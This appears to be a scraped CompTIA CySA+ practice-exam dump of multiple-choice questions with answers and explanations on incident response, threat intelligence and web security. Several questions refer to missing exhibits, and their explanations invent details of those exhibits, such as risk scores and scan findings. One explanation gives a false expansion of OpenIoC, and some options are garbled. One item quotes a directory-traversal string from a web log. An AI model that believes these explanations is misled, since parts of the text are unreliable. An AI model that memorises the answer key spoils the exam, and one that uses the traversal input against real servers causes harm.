Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?

A. Review Of security requirements

B. Compliance checks
C. Decomposing the application
D. Security by design

Answer: C

Explanation:
The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the
security risks associated with an application. The first step in the threat modeling process is decomposing the application, which involves creating use cases,
identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps to understand the application and how it interacts with external
entities, as well as to identify potential threats and vulnerabilities1. The other options are not part of the OWASP WSTG threat modeling process.

NEW QUESTION 196

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The
company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following
would be the best threat intelligence source to learn about this new campaign?

A. Information sharing organization

B. Blogs/forums
C. Cybersecuritv incident response team
D. Deep/dark web

Answer: A

Explanation:
An information sharing organization is a group or network of organizations that share threat intelligence, best practices, or lessons learned related to cybersecurity
issues or incidents. An information sharing organization can help security analysts learn about new ransomware campaigns or other emerging threats, as well as
get recommendations or guidance on how to prevent, detect, or respond to them. An information sharing organization can also help security analysts collaborate or
coordinate with other organizations in the same industry or region that may face similar threats or challenges.

NEW QUESTION 200

A security analyst reviews the following results of a Nikto scan:

Which of the following should the security administrator investigate next?

A. tiki
B. phpList
C. shtml.exe
D. sshome

Answer: C

Explanation:
The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan
results indicate that the web server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server
Side Includes (SSI) feature, which allows dynamic content generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers
to execute arbitrary commands on the web server by injecting malicious code into the URL or the web page12. Therefore, the security administrator should check
the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References: Nikto-Penetration testing. Introduction, Web

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application scanning with Nikto

NEW QUESTION 205

During an incident, some loCs of possible ransomware contamination were found in a group of servers in a segment of the network. Which of the following steps
should be taken next?

A. Isolation
B. Remediation
C. Reimaging
D. Preservation

Answer: A

Explanation:
Isolation is the first step to take after detecting some indicators of compromise (IoCs) of possible ransomware contamination. Isolation prevents the ransomware
from spreading to other servers or segments of the network, and allows the security team to investigate and contain the incident. Isolation can be done by
disconnecting the infected servers from the network, blocking the malicious traffic, or
applying firewall rules12.
References: 10 Things You Should Do After a Ransomware Attack, How to Recover from a Ransomware Attack: A Step-by-Step Guide

NEW QUESTION 209

Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

A. Develop a call tree to inform impacted users

B. Schedule a review with all teams to discuss what occurred
C. Create an executive summary to update company leadership
D. Review regulatory compliance with public relations for official notification

Answer: B

Explanation:
One of the best actions to take after the conclusion of a security incident to improve incident response in the future is to schedule a review with all teams to
discuss what occurred, what went well, what went wrong, and what can be improved. This review is also known as a lessons learned session or an after-action
report. The purpose of this review is to identify the root causes of the incident, evaluate the effectiveness of the incident response process, document any gaps or
weaknesses in the security controls, and recommend corrective actions or preventive measures for future incidents. Official References:
https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/

NEW QUESTION 213

A security analyst is reviewing events that occurred during a possible compromise. The analyst obtains the following log:

Which of the following is most likely occurring, based on the events in the log?

A. An adversary is attempting to find the shortest path of compromise.

B. An adversary is performing a vulnerability scan.
C. An adversary is escalating privileges.
D. An adversary is performing a password stuffing attack..

Answer: B

Explanation:
Based on the events in the log, the most likely occurrence is that an adversary is performing a vulnerability scan. The log shows LDAP read operations and EDR
enumerating local groups, which are indicative of an adversary scanning the system to find vulnerabilities or sensitive information. The final entry shows SMB
connection attempts to multiple hosts from a single host, which could be a sign of network discovery or lateral movement. References: CompTIA CySA+ Study
Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161; Monitor logs from vulnerability scanners, Section: Reports on
Nessus vulnerability data.

NEW QUESTION 215

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP,
other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

A. There is an issue with the SSL certificate causinq port 443 to become unavailable for HTTPS access
B. An on-path attack is being performed by someone with internal access that forces users into port 80
C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
D. An error was caused by BGP due to new rules applied over the company's internal routers

Answer: B

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Explanation:
An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with
internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for
HTTPS communication. This would allow the attacker to compromise the user accounts and access the company’s internal portal.

NEW QUESTION 220

Which of the following would an organization use to develop a business continuity plan?

A. A diagram of all systems and interdependent applications

B. A repository for all the software used by the organization
C. A prioritized list of critical systems defined by executive leadership
D. A configuration management database in print at an off-site location

Answer: C

Explanation:
A prioritized list of critical systems defined by executive leadership is the best option to use to develop a business continuity plan. A business continuity plan (BCP)
is a system of prevention and recovery from potential threats to a company. The plan ensures that personnel and assets are protected and are able to function
quickly in the event of a disaster1. A BCP should include a business impact analysis, which identifies the critical systems and processes that are essential for the
continuity of the business operations, and the potential impacts of their disruption2. The executive leadership should be involved in defining the critical systems
and their priorities, as they have the strategic vision and authority to make decisions that affect the whole organization3. A diagram of all systems and
interdependent applications, a repository for all the software used by the organization, and a configuration management database in print at an off-site location are
all useful tools for documenting and managing the IT infrastructure, but they are not sufficient to develop a comprehensive BCP that covers all aspects of the
business continuity4. References: What Is a Business Continuity Plan (BCP), and How Does It Work?, Business continuity plan (BCP) in 8 steps, with templates,
Business continuity planning | Business Queensland, Understanding the Essentials of a Business Continuity Plan

NEW QUESTION 223

When investigating a potentially compromised host, an analyst observes that the process BGInfo.exe (PID 1024), a Sysinternals tool used to create desktop
backgrounds containing host details, has bee running for over two days. Which of the following activities will provide the best insight into this potentially malicious
process, based on the anomalous behavior?

A. Changes to system environment variables

B. SMB network traffic related to the system process
C. Recent browser history of the primary user
D. Activities taken by PID 1024

Answer: D

Explanation:
The activities taken by the process with PID 1024 will provide the best insight into this potentially malicious process, based on the anomalous behavior.
BGInfo.exe is a legitimate tool that displays system information on the desktop background, but it can also be used by attackers to gather information about the
compromised host or to disguise malicious processes12. By monitoring the activities of PID 1024, such as the files it accesses, the network connections it makes,
or the commands it executes, the analyst can determine if the process is benign or malicious.
References: bginfo.exe Windows process - What is it?, What is bginfo.exe? Is it Safe or a Virus? How to remove or fix it

NEW QUESTION 228

Which of the following makes STIX and OpenloC information readable by both humans and machines?

A. XML
B. URL
C. OVAL
D. TAXII

Answer: A

Explanation:
The correct answer is A. XML.
STIX and OpenloC are two standards for representing and exchanging cyber threat intelligence (CTI) information. STIX stands for Structured Threat Information
Expression and OpenloC stands for Open Location and Identity Coordinates. Both standards use XML as the underlying data format to encode the information in a
structured and machine- readable way. XML stands for Extensible Markup Language and it is a widely used standard for defining and exchanging data on the web.
XML uses tags, attributes, and elements to describe the structure and meaning of the data. XML is also human-readable, as it uses plain text and follows a
hierarchical and nested structure.
XML is not the only format that can be used to make STIX and OpenloC information readable by both humans and machines, but it is the most common and widely
supported one. Other formats that can be used include JSON, CSV, or PDF, depending on the use case and the preferences of the information producers and
consumers. However, XML has some advantages over other formats, such as:
? XML is more expressive and flexible than JSON or CSV, as it can define complex data types, schemas, namespaces, and validation rules.
? XML is more standardized and interoperable than PDF, as it can be easily parsed, transformed, validated, and queried by various tools and languages.
? XML is more compatible with existing CTI standards and tools than other formats, as it is the basis for STIX 1.x, TAXII 1.x, MAEC, CybOX, OVAL, and others.
References:
? 1 Introduction to STIX - GitHub Pages
? 2 5 Best Threat Intelligence Feeds in 2023 (Free & Paid Tools) - Comparitech
? 3 What Are STIX/TAXII Standards? - Anomali Resources
? 4 What is STIX/TAXII? | Cloudflare
? 5 Sample Use | TAXII Project Documentation - GitHub Pages
? 6 Trying to retrieve xml data with taxii - Stack Overflow
? 7 CISA AIS TAXII Server Connection Guide
? 8 CISA AIS TAXII Server Connection Guide v2.0 | CISA

NEW QUESTION 230

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Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure
environment?

A. MOU
B. NDA
C. BIA
D. SLA

Answer: D

Explanation:
SLA stands for Service Level Agreement, which is a contract that defines the various levels of maintenance to be provided by an external business vendor in a
secure environment. An SLA specifies the expectations, responsibilities, and obligations of both parties, such as the scope, quality, availability, and performance of
the service, as well as the metrics and methods for measuring and reporting the service level. An SLA also outlines the penalties or remedies for any breach or
failure of the service level. An SLA can help ensure that the external business vendor delivers the service in a timely, consistent, and secure manner, and that the
customer receives the service that meets their needs and requirements. Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
? https://www.comptia.org/certifications/cybersecurity-analyst
? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your- questions-answered

NEW QUESTION 235

An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes
the threat actor attributed to the malicious activity?

A. Insider threat
B. Ransomware group
C. Nation-state
D. Organized crime

Answer: C

NEW QUESTION 236

While reviewing the web server logs a security analyst notices the following snippet
..\../..\../boot.ini
Which of the following is being attempted?

A. Directory traversal
B. Remote file inclusion
C. Cross-site scripting
D. Remote code execution
E. Enumeration of/etc/pasawd

Answer: A

Explanation:
The log entry "......\boot.ini" is indicative of a directory traversal attack, where an attacker attempts to access files and directories that are stored outside the web
root folder.
The log snippet "......\boot.ini" is indicative of a directory traversal attack. This type of attack aims to access files and directories that are stored outside the web root
folder. By manipulating variables that reference files with “../” (dot-dot-slash), the attacker may be able to access arbitrary files and directories stored on the file
system.

NEW QUESTION 238

Which of the following best describes the goal of a disaster recovery exercise as preparation for possible incidents?

A. TO provide metrics and test continuity controls

B. To verify the roles of the incident response team
C. To provide recommendations for handling vulnerabilities
D. To perform tests against implemented security controls

Answer: A

Explanation:
The correct answer is A. To provide metrics and test continuity controls.
A disaster recovery exercise is a simulation or a test of the disaster recovery plan, which is a set of procedures and resources that are used to restore the normal
operations of an organization after a disaster or a major incident. The goal of a disaster recovery exercise is to provide metrics and test continuity controls, which
are the measures that ensure the availability and resilience of the critical systems and processes of an organization. A disaster recovery exercise can help
evaluate the effectiveness, efficiency, and readiness of the disaster recovery plan, as well as identify and address any gaps or issues .
The other options are not the best descriptions of the goal of a disaster recovery exercise. Verifying the roles of the incident response team (B) is a goal of an
incident response exercise, which is a simulation or a test of the incident response plan, which is a set of procedures and roles that are used to detect, contain,
analyze, and remediate an incident. Providing recommendations for handling vulnerabilities © is a goal of a vulnerability assessment, which is a process of
identifying and prioritizing the weaknesses and risks in an organization’s systems or network. Performing tests against implemented security controls (D) is a goal
of a penetration test, which is an authorized and simulated attack on an organization’s systems or network to evaluate their security posture and identify any
vulnerabilities or misconfigurations.

NEW QUESTION 241

A penetration tester submitted data to a form in a web application, which enabled the penetration tester to retrieve user credentials. Which of the following should
be recommended for remediation of this application vulnerability?

A. Implementing multifactor authentication on the server OS

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B. Hashing user passwords on the web application

C. Performing input validation before allowing submission
D. Segmenting the network between the users and the web server

Answer: C

Explanation:
Performing input validation before allowing submission is the best recommendation for remediation of this application vulnerability. Input validation is a technique
that checks the data entered by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent
common web application attacks such as SQL injection, cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute
malicious code or commands on the server or the client side. By validating the input before allowing submission, the web application can reject or sanitize any
malicious or unexpected input, and protect the user credentials and other sensitive data from being compromised12. References: Input Validation - OWASP, 4
Most Common Application Vulnerabilities and Possible Remediation

NEW QUESTION 245

Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the
tables below:

Which of the following should the security analyst prioritize for remediation?

A. rogers
B. brady
C. brees
D. manning

Answer: B

Explanation:
Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying
the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of 9 x 0.8 = 7.2, which is
higher than any other system. Brady also has 500 affected users, which is more than any other system. Therefore, patching brady would reduce the most risk and
impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated later.

NEW QUESTION 249

A threat hunter seeks to identify new persistence mechanisms installed in an organization's environment. In collecting scheduled tasks from all enterprise
workstations, the following host details are aggregated:

Which of the following actions should the hunter perform first based on the details above?

A. Acquire a copy of taskhw.exe from the impacted host

B. Scan the enterprise to identify other systems with taskhw.exe present
C. Perform a public search for malware reports on taskhw.exe.
D. Change the account that runs the -caskh
E. exe scheduled task

Answer: C

Explanation:
The first step should be to perform a public search for malware reports on taskhw.exe, as this file is suspicious for several reasons: it is located in a non-standard
path, it has a high CPU usage, it is signed by an unknown entity, and it is only present on one host. A public search can help to determine if this file is a known
malware or a legitimate program. If it is malware, the hunter can then take appropriate actions to remove it and prevent further damage. The other options are
either premature or ineffective, as they do not provide enough information to assess the threat level of
taskhw.exe. References: Cybersecurity Analyst+ - CompTIA, taskhw.exe Windows process

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- What is it? - file.net, Taskhostw.exe - What Is Taskhostw.exe & Is It Malware? - MalwareTips Forums

NEW QUESTION 251

A cybersecurity team lead is developing metrics to present in the weekly executive briefs. Executives are interested in knowing how long it takes to stop the spread
of malware that enters the network.
Which of the following metrics should the team lead include in the briefs?

A. Mean time between failures

B. Mean time to detect
C. Mean time to remediate
D. Mean time to contain

Answer: D

Explanation:
Mean time to contain is the metric that the cybersecurity team lead should include in the weekly executive briefs, as it measures how long it takes to stop the
spread of malware that enters the network. Mean time to contain is the average time it takes to isolate and neutralize an incident or a threat, such as malware,
from the time it is detected. Mean time to contain is an important metric for evaluating the effectiveness and efficiency of the incident response process, as well as
the potential impact and damage of the incident or threat. A lower mean time to contain indicates a faster and more successful response, which can reduce the risk
and cost of the incident or threat. Mean time to contain can also be compared with other metrics, such as mean time to detect or mean time to remediate, to
identify gaps or areas for improvement in the incident response process.

NEW QUESTION 254

A security analyst observed the following activity from a privileged account:
. Accessing emails and sensitive information
. Audit logs being modified
. Abnormal log-in times
Which of the following best describes the observed activity?

A. Irregular peer-to-peer communication

B. Unauthorized privileges
C. Rogue devices on the network
D. Insider attack

Answer: D

Explanation:
The observed activity from a privileged account indicates an insider attack, which is when a trusted user or employee misuses their access rights to compromise
the security of the organization. Accessing emails and sensitive information, modifying audit logs, and logging in at abnormal times are all signs of malicious
behavior by a privileged user who may be trying to steal, tamper, or destroy data, or cover their tracks. An insider attack can cause significant damage to the
organization’s reputation, operations, and compliance12. References: The Privileged Identity Playbook Guides Management of Privileged User Accounts, How to
Track Privileged Users’ Activities in Active Directory

NEW QUESTION 255

When starting an investigation, which of the following must be done first?

A. Notify law enforcement

B. Secure the scene
C. Seize all related evidence
D. Interview the witnesses

Answer: B

Explanation:
The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the
incident occurred, as well as any potential evidence or witnesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence,
as well as any interference or obstruction of the investigation.

NEW QUESTION 258

When undertaking a cloud migration of multiple SaaS application, an organizations system administrator struggled … identity and access management to cloud-
based assets. Which of the following service models would have reduced the complexity of this project?

A. CASB
B. SASE
C. ZTNA
D. SWG

Answer: A

Explanation:
A Cloud Access Security Broker (CASB) would have reduced the complexity of identity and access management in cloud-based assets. CASBs provide visibility
into cloud application usage, data protection, and governance for cloud-based services.

NEW QUESTION 262

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:

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Which of the following tuning recommendations should the security analyst share?

A. Set an Http Only flag to force communication by HTTPS.

B. Block requests without an X-Frame-Options header.
C. Configure an Access-Control-Allow-Origin header to authorized domains.
D. Disable the cross-origin resource sharing header.

Answer: C

Explanation:
The output shows that the web application has a cross-origin resource sharing (CORS) header that allows any origin to access its resources. This is a security
misconfiguration that could allow malicious websites to make requests to the web application on behalf of the user and access sensitive data or perform
unauthorized actions. The tuning recommendation is to configure the Access-Control-Allow-Origin header to only allow authorized domains that need to access the
web application’s resources. This would prevent unauthorized cross-origin requests and reduce the risk of cross-site request forgery (CSRF) attacks.
Reference: OWASP Top Ten | OWASP Foundation

NEW QUESTION 266

Two employees in the finance department installed a freeware application that contained embedded malware. The network is robustly segmented based on areas
of responsibility. These computers had critical sensitive information stored locally that needs to be recovered. The department manager advised all department
employees to turn off their computers until the security team could be contacted about the issue. Which of the following is the first step the incident response staff
members should take when they arrive?

A. Turn on all systems, scan for infection, and back up data to a USB storage device.
B. Identify and remove the software installed on the impacted systems in the department.
C. Explain that malware cannot truly be removed and then reimage the devices.
D. Log on to the impacted systems with an administrator account that has privileges to perform backups.
E. Segment the entire department from the network and review each computer offline.

Answer: E

Explanation:
Segmenting the entire department from the network and reviewing each computer offline is the first step the incident response staff members should take when
they arrive. This step can help contain the malware infection and prevent it from spreading to other systems or networks. Reviewing each computer offline can help
identify the source and scope of the infection, and determine the best course of action for recovery12. Turning on all systems, scanning for infection, and backing
up data to a USB storage device is a risky step, as it can activate the malware and cause further damage or data loss. It can also compromise the USB storage
device and any other system that connects to it. Identifying and removing the software installed on the impacted systems in the department is a possible step, but it
should be done after segmenting the department from the network and reviewing each computer offline. Explaining that malware cannot truly be removed and then
reimaging the devices is a drastic step, as it can result in data loss and downtime. It should be done only as a last resort, and after backing up the data and
verifying its integrity. Logging on to the impacted systems with an administrator account that has privileges to perform backups is a dangerous step, as it can
expose the administrator credentials and privileges to the malware, and allow it to escalate its access and capabilities34. References: Incident Response:
Processes, Best Practices & Tools - Atlassian, Incident Response Best Practices | SANS Institute, Malware Removal: How to Remove Malware from Your Device,
How to Remove Malware From Your PC | PCMag

NEW QUESTION 269

......

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